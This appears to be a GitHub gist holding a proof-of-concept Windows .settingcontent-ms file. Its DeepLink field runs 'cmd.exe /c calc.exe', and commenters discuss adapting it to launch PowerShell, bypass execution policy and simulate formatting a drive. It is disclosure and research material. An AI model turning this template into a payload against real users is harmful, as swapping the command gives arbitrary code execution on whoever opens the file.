Create a gist now

Instantly share code, notes, and snippets.

Embed
What would you like to do?
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
@H011YxW00D

This comment has been minimized.

Show comment
Hide comment
@H011YxW00D

H011YxW00D Jun 11, 2018

Wow great find man.

Wow great find man.

@bvoris

This comment has been minimized.

Show comment
Hide comment
@bvoris

bvoris Jun 27, 2018

I have used the above code to run PowerShell, bypass execution policy, and run a simulated format on drive C: See my link below.
https://github.com/bvoris/SettingContent-MS-File-Execution/

bvoris commented Jun 27, 2018

I have used the above code to run PowerShell, bypass execution policy, and run a simulated format on drive C: See my link below.
https://github.com/bvoris/SettingContent-MS-File-Execution/

@ubhackn

This comment has been minimized.

Show comment
Hide comment
@ubhackn

ubhackn Jul 3, 2018

When I try the POC, I get the following message: "Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item."

I can manually run %windir%\system32\cmd.exe /c calc.exe
I can manually run %windir%\system32\control.exe
I have verified that the HostID guid is the same as other native settingcontent-ms files on my computer.
I have verified that the AppID value is the same as other native settingcontent-ms files on my computer.

I am not local admin on my machine. Is admin required? Other things I am doing wrong?

ubhackn commented Jul 3, 2018

When I try the POC, I get the following message: "Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item."

I can manually run %windir%\system32\cmd.exe /c calc.exe
I can manually run %windir%\system32\control.exe
I have verified that the HostID guid is the same as other native settingcontent-ms files on my computer.
I have verified that the AppID value is the same as other native settingcontent-ms files on my computer.

I am not local admin on my machine. Is admin required? Other things I am doing wrong?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment